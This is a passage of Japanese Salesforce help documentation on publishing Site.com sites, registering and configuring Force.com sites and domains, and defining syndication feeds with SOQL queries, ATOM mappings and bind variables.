ザがインターネット上でサイトのページやアセットを稼働状態にします。
最初にサイトを公開する前に、サイトのドメイン情報を設定する必要がありま
す。ドメインを設定しない場合、公開のためにドメインを設定するように要求
するメッセージが表示されます。
サイト全体を公開することも、特定の項目のみを公開することもできます。
1. [変更を公開...] をクリックします。
2. 公開する手順は、次のとおりです。

• すべての最新の変更を公開するには、[サイト全体の変更]を必ず選択しま
す。

• 特定の項目を公開するには、[選択された項目のみ]を選択して関連する項
目を選択します。

メモ: 連動関係のある項目を選択すると、連動項目も選択されます。た
とえば、ページを選択しても、ページおよびそれが依存するスタイル
シートを変更した場合、スタイルシートも選択されます。連動項目のリ
ストを表示するには、[表示]をクリックします。選択した他の項目の重
要な連動項目である場合は、項目を選択解除できません。

3. [次へ] をクリックして、公開する項目のリストを確認します。
4. [次へ]をクリックして、必要に応じて、公開メモを追加します。このメモは、

[変更履歴] ビューの [説明] 列に表示されます。
5. [公開] をクリックします。
サイトの変更が有効になったら、メールで通知されます。

メモ: Sandbox からサイトを公開することはできません。

関連トピック:

ライブサイトの公開および管理
サイトをオフラインにする
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サイトをオフラインにする

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

1. [概要] タブで [サイトの設定] > [ドメイン] をクリックします。
2. リストされているすべてのドメインを削除します。

最後のドメインを削除すると、サイトは即座にオフラインになります。サイ
トを表示しようとすると、ブラウザから「サーバが見つかりません」という
ようなメッセージがサイト訪問者に表示されます。

3. 表示されるポップアップウィンドウで、次の操作を実行します。
• [OK] をクリックして、サイトを非公開にします。サイトを非公開にする

と、そのサイトを別のサイトに公開するために使用できるように、その
サイトに関連付けられているSite.com Published Site ライセンスがリリースさ
れます。

• 後日再度そのサイトを公開する予定がある場合など、Site.com Published Site

ライセンスをリリースしたくない場合は、[キャンセル] をクリックしま
す。
[キャンセル] をクリックした後に気が変わった場合は、[概要] タブで [非
公開]をクリックするとライセンスをリリースできます。サイトの公開が
解除されると、[非公開] は [公開] ボタンに変わります。

4. Site.comでそのドメインの再利用しない場合は、DNS プロバイダの取引先管理
設定で your_domain_name.orgID.live.siteforce.comを参照するすべ
ての CNAME レコードを削除します。

サイトの公開が解除された後、Site.comタブのサイトのリストからそのサイトを
削除できます。

関連トピック:

Site.com でのドメインの管理
サイトの変更の公開

Force.com サイト
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Force.com サイトでは、公開 Web サイトとアプリケーションを作成できます。そ
れらは Salesforce 組織と直接統合されるため、ユーザがログインする場合にユー
ザ名やパスワードは必要ありません。組織に保存された情報を任意のブランド
URL を介して公開し、サイトのページを会社のブランドのデザインと一致させる
ことができます。
Salesforce 組織には、パートナー、ソリューション、商品、ユーザ、アイデア、
その他のビジネスデータに関する貴重の情報があります。この情報の一部は、
組織外のユーザに有用ですが、適切なアクセス権および権限を持つユーザのみ
が情報を参照および使用できます。以前は、このデータを一般公開できるよう
にするために、Web サーバを設定し、カスタム Web ページ (JSP、PHP など) を作
成、サイトと組織で API インテグレーションを実行する必要がありました。ま
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た、Web フォームを使用して情報を収集する場合、データ検証を実行するよう、ページをプログラムする必要
がありました。
Force.com サイトを使用すると、こうした操作が必要なくなります。Force.com サイトでは、公開 Web サイトと
アプリケーションを作成できます。それらはSalesforce組織と直接統合されるため、ユーザがログインする場合
にユーザ名やパスワードは必要ありません。選択したブランド URL を使用して組織に保存された情報を公開す
ることができます。サイトのページが、会社のブランドの外観と一致するようにできます。サイトはForce.com

サーバでホストされているため、データインテグレーションに関する問題はありません。また、サイトがネイ
ティブの Visualforce ページに作成されるため、収集された情報のデータ検証は自動的に実行されます。関連付
けたポータルに対し、ユーザが公開サイトからシームレスに登録したりログインしたりできるようにします。

メモ: Force.com サイトには、次の追加の利用規約が適用されます。
Site.com は、動的なデータ主導の Web ページの構築とコンテンツの編集をリアルタイムに簡単に行えるよ
うにする Web コンテンツ管理システム (CMS) です。Site.com についての詳細は、「コミュニティビルダー
(Site.com)」 (ページ 5981) を参照してください。

次の例では、サイトを使用できるいくつかの方法について説明します。
• アイデアサイトを作成—サイトを使用して、会社、サービス商品に関するアイデアを共有および票決する

ための公開コミュニティフォーラムをホストします。アイデア Web サイトは、サイトを使用して公開でき
ます。

• サポート FAQ を公開—顧客がそれらの問題のソリューションを検索できる公開 Web サイトに関する情報を
提供します。

• ストアロケータツールを作成—顧客がエリア内の添付を検索できる公開ツールをポータルに追加します。
• 従業員ディレクトリを公開—IP アドレスで制限されるサイトを作成し、従業員ディレクトリを会社のイン

トラネットに追加します。
• 社員募集 Web サイトを作成—公開サイトにジョブを投稿して、訪問者がアプリケーションを登録し、オン

ラインを再開できるようにします。
• 商品のカタログを公開—公開 Web サイトの会社の全商品を、組織から動的に引き出されたモデル番号、現

在の価格、商品画像と共に一覧表示します。
Force.comサイトはSalesforce組織から直接提供されるため、サイトの可用性は組織の可用性に直接関連します。
メジャーリリースに関する組織のメンテナンスウィンドウが表示されている場合、サイトは使用できません。
サイトにアクセスしようとすると、Force.com ブランドのメンテナンスページ、または [サービスは利用できま
せん] が表示されます。サイトユーザにリリースメンテナンスウィンドウについて、関連サイトが使用できな
いことについて事前にお知らせすることをお勧めします。特定のメンテナンスウィンドウは、
trust.salesforce.com/trust/status/#maintで参照できます。

Force.com ドメイン
各サイトについて、サイトのドメイン名を設定して、サイトの URL を指定します。次のドメインオプションの
いずれかを選択できます。
• 一意のサブドメインプレフィックスと force.com を組み合わせた Force.com ドメイン名を使用します。た

とえば、「mycompany」をサブドメインプレフィックスとして選択すると、ドメイン名は
http://mycompany.force.comとなります。名前では、大文字と小文字は区別されます。
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メモ: Force.comドメイン名は、作成したすべてのサイトに使用されます。たとえば、会社はパートナー
用、開発者用、サポート用にそれぞれ 1 つずつ公開サイトを作成できます。会社のドメインが
http://mycompany.force.com の場合、これら 3 つのサイトの URL は次のようになります。
– http://mycompany.force.com/partners

– http://mycompany.force.com/developers

– http://mycompany.force.com/support

• ドメイン名登録機関を介して登録し、http://www.mycompanyideas.com のようなブランド化されたカ
スタム Web アドレスを作成します。ブランド化されたドメインおよびサブドメインが、URL の force.com

名を公開せずに Force.comドメインを指すようにする CNAME レコードを作成します。Force.comドメインをイ
ンターネットで使用できるようにするには、最大 48 時間かかります。カスタム Web アドレスは、Sandbox

または Developer Edition 組織ではサポートされていません。

メモ: ご使用の Force.comサイトのセキュアな URL の形式は、組織の種別またはエディションによって異な
ります。一意のサブドメインの接頭辞がまず表示され、次にエディションまたは環境タイプ、そしてイ
ンスタンス名と force.com 接尾辞が続きます。次の例では、サブドメインのプレフィックスは「mycompany」、
Sandbox 名は「mysandbox」、インスタンス名は「na1」、Sandbox インスタンス名は「cs1」です。

セキュアな URL組織種別

https://mycompany-developer-edition.na1.force.comDeveloper Edition

https://mysandbox-mycompany.cs1.force.comSandbox

https://mycompany.secure.force.com本番

Developer Edition のサブドメインプレフィックスは、22 文字以下にしてください。セキュアな URL は、[ログ
イン設定] ページに表示されます。URL では、大文字と小文字が区別されます。

Force.com サイトの管理
カスタム Force.com ドメインの登録
Force.com サイトの設定
Force.com サイトページのキャッシュ
Force.com サイトのワークフローの使用
Google Analytics を使用した Force.com Site の追跡
Force.com サイト履歴の参照
Force.com サイトの使用状況履歴の参照
Force.com サイトのレポート
Force.com サイトのセキュリティ
Force.com サイト関連の Apex メソッドと式
Force.com サイトに関する検討事項
Force.com サイトの制限と請求
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Force.com サイトとコミュニティで同じドメイン名を使用できますか?

いいえ、同じドメイン名は使用できません。

関連トピック:

Force.com サイトの設定
Force.com サイトの管理
Force.com サイトの制限と請求

Force.com サイトの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com サイトの使用を開始するには、[設定] から、[クイック検索] ボックス
に「サイト」と入力し、[サイト]を選択します。このページでは、次の操作を実
行できます。
• まだ登録されていない場合は、Force.com ドメインを登録します。
• Force.com ドメインでホストされたすべてのサイトを表示します。
• 新規サイトを作成するには、[新規] をクリックします。
• 既存のサイトを変更するには、[編集] をクリックします。
• [有効化]または[無効化]をクリックして、サイトの有効な状況を変更します。

警告: 公開したくない情報を開示しないよう注意してください。

• サイトの表示ラベルをクリックすると、そのラベルの詳細が表示されます。
• サイトの URL をクリックすると、そのサイトをブラウザで開きます。

関連トピック:

Force.com サイトの設定
Force.com サイトの作成と編集
Force.com サイトの設定
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カスタム Force.com ドメインの登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

会社の Force.com ドメインは、作成したすべてのサイトに使用されます。サイト
のブランド化された Web アドレスを登録した場合でも、Force.com ドメインを選
択する必要があります。ブランド URL は、Force.com ドメインにリダイレクトさ
れます。

メモ: CNAME レコードには、ドメイン名、18 文字の組織 ID、およびサフィッ
クス live.siteforce.com が含まれている必要があります。たとえば、ドメイン
名が www.mycompany.com で、組織 ID が 00dx00000000001aaa の場合、CNAME は
www.mycompany.com.00dx00000000001aaa.live.siteforce.com に
なります。組織 ID は、[設定] 内の [ドメイン管理] の新しいドメインページ
にあります。

Force.com ドメインを登録するには
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. Force.comドメインの一意名を入力します。Force.comドメイン名には、英数字

とハイフンのみを含み、組織内で一意の名前にする必要があります。最初は
文字であること、スペースは使用しない、最後にハイフンを使用しない、ア
ンダースコアとピリオドを使用しないという制約があります。「mycompany」など、会社の名前やバリエー
ションなどを使用することをお勧めします。

警告: 登録した後で Force.com ドメイン名を変更することはできません。

3. [使用可能か調べる] をクリックして、入力したドメイン名が一意であることを確認します。一意でない場
合、変更するよう要求されます。

4. チェックボックスをオンにして、「サイト使用条件」を読み、承認します。
5. [私のForce.comドメインを登録]をクリックします。使用条件を承認して Force.comドメインを登録した後、

サイト作成に関連する変更が組織の [設定変更履歴] および [サイト履歴] 関連リストで追跡されます。登録
が有効になるまで、最長で 48 時間かかります。

メモ: ご使用の Force.comサイトのセキュアな URL の形式は、組織の種別またはエディションによって異な
ります。一意のサブドメインの接頭辞がまず表示され、次にエディションまたは環境タイプ、そしてイ
ンスタンス名と force.com 接尾辞が続きます。次の例では、サブドメインのプレフィックスは「mycompany」、
Sandbox 名は「mysandbox」、インスタンス名は「na1」、Sandbox インスタンス名は「cs1」です。

セキュアな URL組織種別

https://mycompany-developer-edition.na1.force.comDeveloper Edition

https://mysandbox-mycompany.cs1.force.comSandbox

https://mycompany.secure.force.com本番
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Developer Edition のサブドメインプレフィックスは、22 文字以下にしてください。セキュアな URL は、[ログ
イン設定] ページに表示されます。URL では、大文字と小文字が区別されます。

関連トピック:

Force.com サイトの設定
Force.com サイトに関する検討事項

Force.com サイトの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com サイトの公開ア
クセス設定を編集する
• 「ユーザの管理」

Force.com サイトでは、公開 Web サイトとアプリケーションを作成できます。そ
れらは Salesforce 組織と直接統合されるため、ユーザがログインする場合にユー
ザ名やパスワードは必要ありません。
Force.com サイトを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. 組織のカスタム Force.com ドメインを登録します。
3. サイトを作成および設定します。
4. サイトのVisualforceページを開発して使用し、標準ページを使用するか非表示

にし、追加設定なしのエラーページをカスタマイズするか置き換えます。こ
れらのページをサイトと関連付けます。

5. 電子サイトテンプレートを選択します。参照項目を使用して、開発したテン
プレートの検索と選択を行うか、用意されているすぐに使用できるテンプ
レートを使用します。サイトテンプレートには、サイトのページレイアウト
およびスタイルシートが用意され、関連付けられたポータルから継承される
書式は上書きされます。

6. ログインまたはセルフ登録するポータルを有効化し、サイトと関連付けま
す。

7. 必要に応じて、公開アクセス設定を変更します。
8. サイトを公開する準備が整ったら、[サイトの詳細] ページの [有効化] をクリックします。サイトの有効化

は、[サイトの編集] ページや [サイト] ページからも行えます。
サイトを設定すると、次のことが実行できます。
• サイトに対しレポートおよびダッシュボードを実行する。
• サイトに関連する基準を満たす場合にメールアラートを開始するワークフロールールを作成する。

Force.com サイトの作成と編集
Force.com サイトの設定
管理者プレビューモードを使用した Force.com サイトのトラブルシューティング
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サイトのシングルサインオンの有効化
シングルサインオン (SSO) を使用すると、ユーザが 1 回のログインで複数の承認済みネットワークリソース
にアクセスできます。企業ユーザのデータベースまたはクライアントアプリケーションに対してユーザ名
とパスワードを検証でき、リソースごとに個別の Salesforce 管理のパスワードは必要ありません。

関連トピック:

Force.com サイトの管理
Force.com サイトの設定

Force.com サイトの作成と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com ドメインの登録後、次の手順に従って Force.com サイトを作成します。
1. [設定] から、[クイック検索] ボックスに「サイト」と入力し、[サイト] を選

択します。
2. [新規] をクリックします。既存のサイトを変更する場合は [編集] をクリック

します。
3. [サイトの編集] ページで、次の定義を行います。

説明項目

ユーザインターフェースに表示されるサイトの名
前。

サイトの表示ラベル

SOAP API でサイトを参照するときに使用される名
前。この名前は、アンダースコアと英数字のみを
使用でき、組織内で一意にする必要があります。
最初は文字であること、空白は使用しない、最後
にアンダースコアを使用しない、2 つ続けてアン
ダースコアを使用しないという制約があります。

サイト名

サイトの説明 (省略可能)。サイトの説明

サイト訪問者やSalesforceから、サイト関連の連絡
を受け取るユーザ。

サイトの管理者

このサイト固有の Force.com URL。Force.com では、
登録したドメイン名に基づいて、URL の最初の部

デフォルト Web アドレ
ス

分を提示します。その後ろに、固有のサイト名を
追加する必要があります。ドメイン名登録機関を
介してカスタム Web アドレスを設定しているので
なければ、これは、一般ユーザがサイトにアクセ
スするために使用する URL となります。

一般ユーザの利用を可能にする準備が整ったとき
にサイトを有効化するオプション。サイトの有効

有効

化は、[サイト] ページや [サイトの詳細] ページか
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説明項目

らも行えます。サイトが無効になっていると、ユーザには [無効なサ
イトのホームページ] 項目で指定したページが表示されます。

このサイトが有効になっている場合にユーザが移動するリンク先ペー
ジ。参照項目を使用して、サイトのホームページ用に開発したVisualforce

有効なサイトのホームページ

ページの検索と選択を行います。サイトをテストするだけの場合、
UnderConstruction ページを選択します。
アイデアサイトの場合、IdeasHome ページを使用する必要があります。
また、アンサーサイトの場合は AnswersHome ページを使用する必要が
あります。アイデアサイトまたはアンサーサイトの「デザイン」は、
サイトテンプレートを選択していない場合、関連付けられているポー
タルから継承されます。
Summer '10 リリースの前にサイトをリリースした場合、<apex:page

action="{!URLFOR('/answers/answersHome.apexp')}"/>を使
用して Visualforce ページを作成すると、デフォルトのリンク先ページ
として AnswersHome を設定できます。

このサイトが無効になっている場合にユーザが移動するリンク先ペー
ジ。参照項目を使用して、使用するページの検索と選択を行います。

無効なサイトのホームページ

たとえば、サイトが構築中であることやメンテナンスによる停止中で
あることを示すページを選択できます。

サイトのページレイアウトとスタイルシートを提供するテンプレー
ト。サイトテンプレートにより、関連付けられたポータルから継承さ

サイトテンプレート

れる書式は上書きされます。参照項目を使用して、開発したテンプ
レートの検索と選択を行うか、用意されているすぐに使用できるテン
プレートを使用します。

メモ: ここで指定するサイトテンプレートは、$Site.Template

式を使用する Visualforce ページでのみ使用されます。

公開サイトのどの部分に Web スパイダやその他の Web ロボットからア
クセスできるかを決定するファイル。Web ロボットは、検索エンジン

Site Robots.txt

が Web サイトの分類や収集のために使用することがよくあります。
robots.txt スパイダとの互換性がないと、HTML タグは許可されま
せん。Visualforce ページの場合、<apex:page> タグに
contentType="text/plain" を追加します。
すべてのロボットにすべてのページのインデックス作成を許可しない
例は、次のとおりです。
<apex:page contentType="text/plain">

User-agent: * # Applies to all robots
Disallow: / # Disallow indexing of all pages
</apex:page>
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説明項目

すべてのロボットにすべてのページのインデックス作成を許可する例
は、次のとおりです。
<apex:page contentType="text/plain">

User-agent: * # Applies to all robots
Disallow: # Allow indexing of all pages

</apex:page>

サイトにアクセスしているときに、ブラウザのアドレス項目に表示さ
れるアイコン。この項目を使用して、各ページではなく、サイト全体

サイトのお気に入りのアイコン

用のお気に入りアイコンを設定します。キャッシュされるため、変更
がサイトに反映されるのは、変更を行った翌日になります。

サイトに関連付けられている追跡コード。このコードは、Google Analytics

などのサービスによって、サイトのページリクエストデータを追跡す
るために使用されます。

分析追跡コード

サイトの URL を Salesforce URL からわかりやすい URL に再記述するため
に使用する Apex クラス。このクラスでは、アドレスバーに入力した

URL 書き換えクラス

り、ブックマークから起動したり、または外部 Web サイトからリンク
する URL 要求を再記述するルールを作成できます。サイトページ内の
リンクの URL を再記述するルールも作成できます。

[シンジケーションフィード] 関連リストを表示するオプション。この
リストで公開サイト上のユーザ用のシンジケーションフィードを作成

フィードの有効化

し管理できます。この項目は、組織でこの機能が有効化されている場
合に限り表示されます。

サイトのクリックジャック保護は、次のレベルのいずれかに設定でき
ます。

クリックジャック保護レベル

• すべてのページでフレーム化を許可 (保護なし)

• 公開元が同じページでのみフレーム化を許可 (推奨)

• すべてのページでフレーム化を許可しない (最大保護)

メモ: 公開元が同じページのフレーム化によって、同じドメイ
ン名とプロトコルセキュリティを持つページによるサイトのペー
ジのフレーム化が可能になります。

メモ: Salesforce Communitiesには、クリックジャック保護に 2 つの
部分が含まれます。1 つは Force.com Communities サイト用で、
Force.com サイト詳細ページから設定します。もう 1 つは Site.com

Communitiesサイト用で、Site.com設定ページから設定します。両
方に同じ値を設定することをお勧めします。
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説明項目

Force.com サイト、Site.com サイト、Salesforce Communities Force.com サイ
ト、または Salesforce Communities Site.com サイトでこのチェックボック

セキュアな接続 (HTTPS) が必要

スがオンになっていると、HTTP を使用する要求が HTTPS にリダイレク
トされます。

4. [保存]をクリックします。

メモ:  [設定] の [ドメイン管理] から [カスタム URL] を定義します。

関連トピック:

Force.com サイトの設定
Force.com サイトの設定
Force.com サイト関連の Apex メソッドと式

Force.com サイトの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Force.com サイトの作成と
編集を行う
• 「アプリケーションの

カスタマイズ」

Force.com サイトの公開ア
クセス設定を編集する
• 「ユーザの管理」

サイトを作成したら、[サイトの詳細] ページでサイトを設定できます。このペー
ジにアクセスするには、[設定] から、[クイック検索]ボックスに「サイト」と入
力し、[サイト]を選択して、[サイト] リストでサイト名をクリックします。次の
操作を実行できます。
• サイトに変更を加えるには、[編集] をクリックします。
• [公開アクセス設定] をクリックして、権限、ページレイアウトなどのセキュ

リティ設定を参照または編集します。
• [ログイン設定] をクリックして、サイトのログインおよび登録設定を定義し

ます。組み込みログインおよび登録ロジックを使用すると、ユーザが公開サ
イトからポータルサイトに迅速に登録し、シームレスにログインすることが
できます。

メモ: コミュニティサイトの場合、このリンクでコミュニティのログイ
ンページが開きます。

• サイトに設定したページのリダイレクトを確認するには、[URL リダイレクト]

をクリックします。
• [有効化]または[無効化]をクリックして、サイトの有効な状況を変更します。

警告: 公開したくない情報を開示しないよう注意してください。

• [管理者としてプレビュー]をクリックすると、サイトが管理者プレビューモー
ドで表示されます。管理者プレビューモードでは、各サイトページのエラーが状況に基づいて詳細に表示
されるため、より簡単にサイトの問題をトラブルシューティングできます。

メモ: コミュニティ組織の場合、この機能は表示されません。
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• [サイトの Visualforce ページ] 関連リストまたは [サイトの標準ページ] 関連リストの [編集] をクリックして、
サイトに使用できるページを選択します。サイトに関連付けられたすべてのページが有効化されている必
要があります。

• [ページの割り当て] をクリックして、「Authorization Required (401)」や「Page Not Found (404)」などの標準エ
ラーにエラーページを割り当てます。指定されたデフォルトページを上書きまたは編集できます。

• [フィード] 関連リストにある [新規] をクリックして、新しいシンジケーションフィードを作成します。こ
の関連リストを表示するには、[サイトの詳細] リストの [フィードの有効化] をクリックする必要がありま
す。

• 現在の帯域幅およびサービス要求時間、1 日の制限値、使用パーセントを参照するには、[24 時間利用履歴]

関連リストを表示します。
• [サイト履歴] 関連リストは、サイトに対して行われた変更を追跡して表示します。

シンジケーションフィードの定義
Force.com Site のログインおよび登録設定の管理
Force.com サイトの公開アクセス設定
Force.com サイトの URL リダイレクト
ポータルと Force.com サイトの関連付け
Force.com Site Visualforce ページの管理
Force.com サイトの標準ページの管理
Force.com Site エラーページの割り当て

関連トピック:

Force.com Site エラーページの割り当て
Force.com サイトの公開アクセス設定
Force.com Site のログインおよび登録設定の管理
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シンジケーションフィードの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

フィード定義の作成、編
集または削除
• 「すべてのデータの編

集」

フィードの登録
• 必要な権限は特にあり

ません

シンジケーションフィードは、ユーザに Force.com サイト内の変更を登録し、外
部のニュースリーダの更新を受け取る機能を提供します。SOQL クエリとマッピ
ングを定義して、公開データへの変更をエンドユーザに関連付けることができ
ます。組織の公開サイトまたは任意の Visualforce ページに 1 つ以上のシンジケー
ションフィードを作成することができます。シンジケーションフィードには、
SOQL クエリで指定されたレコードが表示されます。ユーザはフィードを登録し、
サイトまたはページにアクセスした際にフィードを表示することができます。
返されるレコード、レコードが表示されるデータなどについて、次のようなシ
ンジケーションフィードを定義します。
名前

このフィードの記述名。作成した別のフィードと区別します。文字、数値、
アンダースコア文字「_」のみを使用します。1 行に複数のアンダースコアを
使用しないでください。

説明
フィードを説明します。たとえば、「取引先の名前、姓、最近作成または編
集された 10 件の取引先の地域」です。

クエリ
シンジケーションフィードに返されたレコードを定義する SOQL クエリ。パ
フォーマンスの高速化を実現するために、SOQL クエリに次のようないくつか
の制限が追加されます。
• SOQL クエリが制限を指定しない場合、返されるレコードは 20 件以下となります。
• クエリの結果の制限は最大 200 件です。この件数を超える制限のあるクエリを作成しても最初の 200 件

のレコードのみが返されます。
• SOQL クエリに ORDER BY 値が指定されていない場合、レコードがある場合は LastModifiedDate 値に

よって並べ替えられ、ない場合は SystemModstamp 値によって並べ替えられます。
• COUNT はサポートされていません。
• 集計クエリはサポートされていません。たとえば、以下のクエリは、シンジケーションフィードの SOQL

クエリで使用できません。
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

• 値を URL に指定するバインド変数を使用できます。詳細は、「クエリおよび対応付けのバインド変数の
使用」 (ページ 6213)を参照してください。

メモ: Force.com プラットフォームが保存前にアクセスおよび共有を検証するため、ゲストユーザは、
適切な共有アクセス権、および項目レベルのセキュリティアクセスが必要です。ない場合は、クエリ
を保存できません。

の対応付け
シンジケーションフィードで ATOM Web 公開プロトコルを使用するため、ATOM 構造の返されたレコードの
オブジェクトおよび項目に一致する対応付け値を指定する必要があります。すべての値は文字列リテラル
です。対応付け要素の詳細は、「ATOM オブジェクトの対応付け」 (ページ 6211)を参照してください。
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値を URL に指定するバインド変数を使用できます。詳細は、「クエリおよび対応付けのバインド変数の使
用」 (ページ 6213)を参照してください。

最大キャッシュ保存期間 (秒)

多くのユーザが同時にフィードにアクセスする場合があるため、Salesforce はデフォルトで 3600 秒フィード
データをキャッシュします。この値を最小 300 時間、必要に応じて変更できます。ここで指定した時間よ
り古いクエリ結果は削除され、その情報の次回要求時、つまりユーザが次に登録したフィードを含むペー
ジを開いた場合に、新しいクエリが実行されます。

有効
このチェックボックスをオンにすると、フィードを登録できます。フィードが有効化されると、ユーザは
フィードを登録できます。

ATOM オブジェクトの対応付け
シンジケーションフィードの定義で、対応付けを指定する必要があります。対応付けは、「取引先名」など、
レコードの対応する値に対するエントリタイトルなどの ATOM 構造に関連します。対応付けの完全セットは
ニュースフィードを示し、クエリは、フィードのニュース項目の内容を示します。たとえば、「今日作成され
たリードレコード」や「取引先情報が更新された取引先責任者」などです。
フィード要素はニュース項目の一部のエンベロープで、エントリ要素は、エンベロープの内容です。
また、対応付けによって、表示するために簡単な表示ラベルをさまざまな項目に適用することができます。
次の表は、各 ATOM 要素およびオブジェクト要素について、また指定する値について説明しています。

説明エントリ要素フィード要素

ea  (エントリ作者) が指定されていない場合にのみ必須です。フィード作者。
たとえば、fa:"Acme Feed Author Admin Mary"は、フィード作者が Admin

Mary であることを示します。

fa

省略可能 (デフォルト値が指定されているため)。フィードの ID。デフォルト
では、この値は公開サイト URL です。値を指定する場合、有効な IRI

fid

(Internationalized Resource Identifier) である必要があります。IRI は Unicode の使用を
可能にするよう一般化された URL です。

省略可能 (デフォルト値が指定されているため)。フィードリンク。たとえば、
fl:"http://www.salesforce.com"となります。ニュースリーダは通常、

fl

フィードタイトルをこの URL にリンクすることによって、この要素を解釈し
ます。

省略可能。フィードサブタイトル。たとえば、&map=ft:"Newest

Opportunities",fst:"Western Division"フィードタイトルが「最新の
商談」、サブタイトルが「西部ディビジョン」であることを示します。

fst

必須。フィードタイトル。たとえば、ft:"Newest Opportunities" とな
ります。

ft
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説明エントリ要素フィード要素

fa  (フィード作者) が指定されていない場合にのみ必須です。エントリ作者。
たとえば、ea:"Account created by: " + Account.CreatedBy とな
ります。

ea

必須。エントリの内容。たとえば、ec:"description for " Name "<br>"

Description は、[名前] 項目の値を追加テキストで示します。この例の
フィードの出力は、次のようになります。
description for Ajax Industries Description

ec

省略可能。データ型 text、html、または xhtmlのエントリコンテンツ。た
とえば、ect: html は HTML コンテンツです。デフォルトは text となりま
す。

ect

省略可能。エントリリンク。有効な URI である必要があります。この値は通
常、エントリの内容の別の表示に対するリンクです。たとえば、Salesforceユー

el

ザインターフェースのレコードに対するリンクとなります。ニュースリーダ
は通常、エントリタイトルをこの URL (el:"Account.URl" など) にリンクす
ることによって、この要素を解釈します。

省略可能。エントリの概要。エントリの内容の概要 (省略可能)。たとえば、
et: Account.Name, es: Account.Name + "’s account number,

es

website, and description", ec: Account.AccountNumber + "" +

Account.Website + “ “ + Account.Description のようになります。
指定されていない場合、ニュースリーダには、ec要素を使用して定義された
内容が表示されます。

省略可能。データ型 text、html、または xhtmlのエントリの概要。たとえ
ば、est: html は HTML コンテンツです。デフォルトは text となります。
es が指定されていない場合は、値を指定しないでください。

est

必須。エントリタイトル。項目名。たとえば、et:Name となります。et

省略可能。デフォルトでは、必須 ATOM 要素 <updated>値は自動的に、問い
合わされたメインエンティティ (通常、SOQL クエリのメインの FROM 句のオ

eu

ブジェクト) の LastModifedDate によって指定されます。この値は、エン
トリまたはフィードが最後に変更された時間を示します。このデフォルトの
動作を変更する場合、異なるオブジェクトを指定するか、項目の
LastModifedDate を使用することができます。例:

• クエリ: SELECT Id, Name, MyDate__c FROM Account 対応付けパラ
メータ: eu: MyDate__c

• クエリ: SELECT Id, Lastname, Account.LastMOdifiedDate FROM

Contact 対応付けパラメータ: eu: Account.LastModifiedDate
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次の例は、シンジケーションフィードの有効な対応付け値を示します。
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html

フィードは、フィードが表示される公開サイトのゲストユーザコンテキストに表示されます。そのため、カス
タム表示ラベルを使用して国際的な使用を管理し、対応付けに指定された表示ラベルを使用すると、これらの
ラベルは、ゲストユーザの言語で表示されます。詳細は、「カスタム表示ラベルとフィード」 (ページ 6214)を
参照してください。
フィードの対応付けには、文字列リテラルのみ使用できます。たとえば、TODAYや LAST_WEEKなどの日付リ
テラルは使用できません。
フィードを定義した後、フィードをテストし、上記で説明したように、[有効] チェックボックスをオンにし
てフィードをアクティブにする必要があります。テストの詳細は、「シンジケーションフィードのテスト」
(ページ 6217)を参照してください。

クエリおよび対応付けのバインド変数の使用
SOQL クエリの WHERE 句にバインド変数を使用できます。バインド変数の形式は次のようになります。
{!var_name}

次のクエリでは、accountID というバインド変数を使用します。
SELECT Name, Description
FROM Account
WHERE Id = {!accountID}

これは、項目のリテラル名ではく、任意の名前です。実行時、accountIDの値は、URL からクエリに渡されま
す。このフィードは、次の URL からアクセスされ、クエリ文字列パラメータの一部として、取引先 ID に渡しま
す。
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

また、対応付け値にバインド変数を使用することもできます。
次の実装の詳細は、クエリのバインド変数の使用に適用されます。
• フィード定義、クエリ、対応付けの組み合わせに、20 を超えるバインド変数は使用できません。
• バインド変数名は、100 文字を超えてはいけません。
• 文字列の部分を示す、検索条件操作の右側にのみ、バインド変数を使用できます。文字列の部分を示すた

め、引用符内で使用する必要があります。たとえば、有効なクエリは次のようになります。
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

次のクエリはバインド変数が有効な場所になく、リテラル文字列の変数として機能していないため、無効
です。
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'
SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

• バインド変数を使用して、項目名を示すことはできません。つまり、検索条件操作の左側に使用すること
はできません。
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• セキュリティ上の理由により、バインド変数を使用して、クエリの意味または構造を変更することはでき
ません。バインド置換値で指定された特殊文字は、クエリが評価される場合、リテラル文字として解釈さ
れます。

カスタム表示ラベルとフィード
